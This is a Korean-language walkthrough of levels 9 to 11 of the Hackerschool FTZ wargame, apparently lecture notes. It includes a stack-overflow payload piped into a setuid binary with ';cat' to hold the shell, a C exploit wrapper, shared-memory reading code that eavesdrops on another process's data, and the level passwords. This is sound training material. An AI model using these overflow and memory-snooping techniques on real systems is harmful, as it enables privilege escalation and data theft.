여기에서 ;cat을 붙여주는 이유는 stdin으로 입력할 것들을 pipe를 통하여 넣어주었을 경우 ;cat을 붙여주어야 하는 이유는 EOF 때문인데 (python으로 짠 shell을 실행시켜주는 exploit)|./attackbinary를 하였을 때, exploit이 제대로 작성되었다면 shell이 실행된다. 하지만 이 때 실행된 shell에게 stdin은 EOF를 주게 되고, shell이 정상적으로 실행되었다가 종료되게 된다.
하지만 cat을 붙여주게 되면, python의 실행이 끝나고(혹은 echo의 실행이 끝나고) cat을 실행시켜주게 되는데, python이나 echo만 실행하였을 때는 각 프로그램이 출력시킬 것들을 stdout으로 보내면 끝이니까 마지막에 EOF가 나오게 되지만 cat이 붙으면 cat의 작동이 끝나기 전까지는 EOF가 나오지 않아서 사용자가 입력한 명령어를 보내고 종료하기 전까진 EOF가 나오지 않아 ;cat을 붙여주는 것이다.
출처 : http://zairo.tistory.com/entry/Load-of-BOF-Chellange-Cobolt |
■ 16진수로 문자열을 입력해 보자.
# man ascii
Oct Dec Hex Char Oct Dec Hex Char
------------------------------------------------------------
047 39 27 ' 147 103 67 g
050 40 28 ( 150 104 68 h
051 41 29 ) 151 105 69 i
052 42 2A * 152 106 6A j
053 43 2B + 153 107 6B k
054 44 2C , 154 108 6C l
055 45 2D - 155 109 6D m
056 46 2E . 156 110 6E n
057 47 2F / 157 111 6F o
[level9@ftz tmp]$ printf "AAAAAAAAAABBBBBB\x67\x6f\n"
AAAAAAAAAABBBBBBgo |
[level9@ftz tmp]$ for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"
AAAAAAAAAABBBBBBgo |
[level9@ftz tmp]$ (for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"; cat) | \
/usr/bin/bof
It can be overflow : Good Skill! id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass
Level10 Password is "interesting to hack!".
exit <ENTER> |
■ 공격용 코드(Exploit Code)를 만들어 보자.
[level9@ftz level9]$ cd ~/tmp
[level9@ftz tmp]$ vi Attack_Bof.c
#include <stdio.h>
#define VICTIM "/usr/bin/bof" #define DEFAULT_BUFFER_SIZE 100
char cmdBuf[DEFAULT_BUFFER_SIZE];
int main() { sprintf(cmdBuf, "(for i in `seq 1 16`; do printf \"A\"; done; printf \"go\"; cat ) | %s", VICTIM); system(cmdBuf);
return 0; } |
[level9@ftz tmp]$ gcc -o Attack_Bof Attack_Bof.c
[level9@ftz tmp]$ ./Attack_Bof
<ENTER> It can be overflow : Good Skill! id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass
Level10 Password is "interesting to hack!".
exit <ENTER> |
[level9@ftz tmp]$
10 | Leve10 -> Leve11 |
단원의 목적
공유 메모리에 데이터를 읽고 쓰기
프로세스(Process)와 프로세스(Process)가 통신(메세지를 주고 받는 방법)
소켓 사용하는 경우(EX: Clint/Server 프로그램)
공유메모리를 사용하는 방법(EX: DB 프로그램(Oracle))
파일을 사용하는 경우
DB 사용하는 경우
기타
보안적인 요소에서 공유메모리를 쓰고 있는 대표적인 경우
암호화/복호화 방식(핵심: key)
Level11 문제에 도전에 보기
level10 사용자로 로그인
-> ID/PASS: level10/interesting to hack!
[level10@ftz level10]$ ls -l
합계 16 -rw-r----- 1 root level10 253 1월 14 2010 hint drwxr-x--- 2 root root 4096 3월 29 2003 program drwxr-xr-x 2 root level10 4096 2월 24 2002 public_html drwxrwxr-x 2 root level10 4096 1월 16 2009 tmp |
[level10@ftz level10]$ cat hint
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다. 그 대화방은 공유 메모리를 이용하여 만들어졌으며, key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여 level11의 권한을 얻어라.
- 레벨을 완료하셨다면 소스는 지우고 나가주세요.
|
[level10@ftz level10]$ find / -user level11 -perm -4000 2>/dev/null
[level10@ftz level10]$
[level10@ftz level10]$ find / -user level11 2>/dev/null
[level10@ftz level10]$
[level10@ftz level10]$ find / -type f -exec egrep -l /home/level10/program {} \; 2>/dev/null
/proc/14265/cmdline /etc/rc.d/rc.local ..... (오랜 시간이 걸린다.) ..... |
[level10@ftz level10]$ cat /etc/rc.d/rc.local
#!/bin/sh # # This script will be executed *after* all the other init scripts. # You can put your own initialization stuff in here if you don't # want to do the full Sys V style init stuff.
touch /var/lock/subsys/local
# setting hostname hostname ftz.hackerschool.org
# run web server /etc/init.d/httpd start
# open level4 port cp /bin/ls /home/level4/tmp/backdoor chown level4.level4 /home/level4/tmp/backdoor /etc/init.d/xinetd restart rm -rf /home/level4/tmp/backdoor
# run level10 /home/level10/program/level10
# get ip #dhclient eth0 |
[level10@ftz level10]$ ps -ef | grep level
level10 3572 3571 0 21:50 pts/1 00:00:00 -bash level10 3604 3572 0 21:50 pts/1 00:00:00 ps -ef level10 3605 3572 0 21:50 pts/1 00:00:00 grep level |
-> /home/level10/program/level10 프로그램은 데몬 모드로 동작하는 것은 아니고 일반 프로세스 형태로 한번 실행되고 끝나는 것 같다.
공유 메모리 관련 함수
shmget() 함수
shmat() 함수
shmdt() 함수
■ shmget() 함수
NAME
shmget - allocates a shared memory segment
SYNOPSIS
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, int size, int shmflg);
DESCRIPTION
shmget() returns the identifier of the shared memory segment associated
to the value of the argument key. A new shared memory segment, with
size equal to the round up of size to a multiple of PAGE_SIZE, is cre-
ated if key has value IPC_PRIVATE or key isn't IPC_PRIVATE, no shared
memory segment is associated to key, and IPC_CREAT is asserted in shm-
flg (i.e. shmflg&IPC_CREAT isn't zero).
The value shmflg is composed of:
IPC_CREAT to create a new segment. If this flag is not used, then
shmget() will find the segment associated with key, check
to see if the user has permission to receive the shmid
associated with the segment, and ensure the segment is not
marked for destruction.
IPC_EXCL used with IPC_CREAT to ensure failure if the segment
exists.
shmget() 함수
공유 메모리를 생성하거나 공유 메모리를 사용할 수 있는 함수-> 공유 메모리를 생성하거나 생성된 공유 메모리의 ID 반환
형식 : int shmget(key_t key, int size, int shmflg);- key_t key : 공유 메모리를 읽기 위한 key 변수- int size : 공유 메모리의 크기- int shmflg : 공유 메모리 생성이나 사용 옵션을 지정 - IPC_CREAT : 공유 메모리 생성 - 0666 : 공유 메모리 사용 권한
■ shmat() 함수/shmdt() 함수
NAME
shmop - shared memory operations
SYNOPSIS
#include <sys/types.h>
#include <sys/shm.h>
void *shmat(int shmid, const void *shmaddr, int shmflg);
int shmdt(const void *shmaddr);
DESCRIPTION
The function shmat attaches the shared memory segment identified by
shmid to the address space of the calling process. The attaching
address is specified by shmaddr with one of the following criteria:
If shmaddr is NULL, the system chooses a suitable (unused) address at
which to attach the segment.
If shmaddr isn't NULL and SHM_RND is asserted in shmflg, the attach
occurs at the address equal to shmaddr rounded down to the nearest mul-
tiple of SHMLBA. Otherwise shmaddr must be a page aligned address at
which the attach occurs.
If SHM_RDONLY is asserted in shmflg, the segment is attached for read-
ing and the process must have read permission for the segment. Other-
wise the segment is attached for read and write and the process must
have read and write permission for the segment. There is no notion of
a write-only shared memory segment.
shmat() 함수
이미 할당된 공유 메모리 공간을 다른 프로세스에서 사용할 수 있게 권한을 부여하는 함수-> 생성된 공유 메모리를 프로세스에 연결(Attach)
형식 : void *shmat(int shmid, const void *shmaddr, int shmflg);- int shmid : 공유 메모리를 생성할 때 만들어진 공유 메모리 ID- const void *shmaddr : 공유 메모리가 할당된 주소- int shmflg : 공유 메모리 사용 옵션을 지정 - SHM_RND : 공유 메모리 주소를 프로세스에 맞게 따로 할당 - SHM_RDONLY : 공유 메모리를 읽기 전용으로 설정
shmdt() 함수
다른 프로세스에 연결된 공유 메모리 공간의 사용을 끝낸 후 프로세스와 공유 메모리 공간의 연결을 끊는다.-> 프로세스에 연결된 공유 메모리를 분리(Detach)
형식 : int shmdt(const void *shmaddr);- const void *shmaddr : 공유 메모리가 할당된 주소
[level10@ftz level10]$ cd tmp
[level10@ftz tmp]$ vi shm.c
#include <stdio.h> #include <sys/shm.h> #include <sys/types.h>
#define BUFFSIZE 1024
int main() { void *sharedMemory=(void *)0; int sharedMemID; char buf[BUFFSIZE]; key_t keyval=7530;
// 공유 메모리의 ID를 읽어 온다. sharedMemID=shmget(keyval, BUFFSIZE, 0666);
// 프로세스에서 공유 메모리 공간을 사용할 수 있게 연결(Attach) 한다. sharedMemory=shmat(sharedMemID, (void *)0, 0);
// 공유 메모리 공간에 있는 값을 특정 변수에 복사한다. memcpy(buf, sharedMemory, BUFFSIZE); printf("%s", buf);
// 프로세스에서 공유 메모리의 연결을 분리(Detach)한다. shmdt(sharedMemory);
return 0; } |
[level10@ftz tmp]$ gcc -o shm shm.c
[level10@ftz tmp]$ ./shm
멍멍: level11의 패스워드는? 구타: what!@#$? |
[참고] 참고 사이트
http://www.hackerslab.org
http://www.hackershool.org
www.hackerslab.org | www.hackerschool.org |
| |
■ 의사 코드 만들어 보자.
level10 일반사용자는 원본 코드(/home/level10/program/level10)는 볼수 없기 때문에 root 사용자로 전환하여 작업을 진행한다.
[level10@ftz level10]$ cd
[level10@ftz level10]$ su
Password: (root 사용자의 암호)
[root@ftz level10]$ cd program
[root@ftz level10]$ ls -l
-rwxr-xr-x 1 root root 13892 3월 29 2003 level10 |
[root@ftz program]$ file level10
level10: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped |
[root@ftz program]$ gdb level10
■ 아래 "추측 의사 코드"를 참조하여 의사 코드를 만들어 보자.
(추측 의사 코드) /home/level10/program/level10 파일
#include <stdio.h> #include <sys/shm.h> #include <sys/types.h>
#define BUFFSIZE 1024
int main() { void *sharedMemory = (void *)0; int sharedMemID; char buf[BUFFSIZE]; key_t keyval=7530;
/* 공유 메모리를 생성하고, 해당 메모리에 값을 쓴다. */ sharedMemID=shmget(keyval, BUFFSIZE, IPC_CREAT | 0666);
/* 프로세스에서 공유 메모리 공간을 사용할 수 있게 연결(Attach) 한다. */ sharedMemory=shmat(sharedMemID, (void *)0, 0);
/* 공유 메모리 공간에 있는 값에 지정된 내용으로 복사한다. */ strcpy(sharedMemory,"멍멍: level11의 패스워드는?\n구타: what!@#$?\n");
/* 프로세스에서 공유 메모리의 연결을 분리(Detach) 한다. */ shmdt(sharedMemory);
return 0; } |
■ (원본코드)
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h>
char *text; int shmid;
int main( void ) {
shmid = shmget((key_t)7530, 1028, 0666 | IPC_CREAT); text = shmat(shmid, (void *)0, 0);
strcpy(text,"멍멍: level11의 패스워드는?\n구타: what!@#$?\n");
} |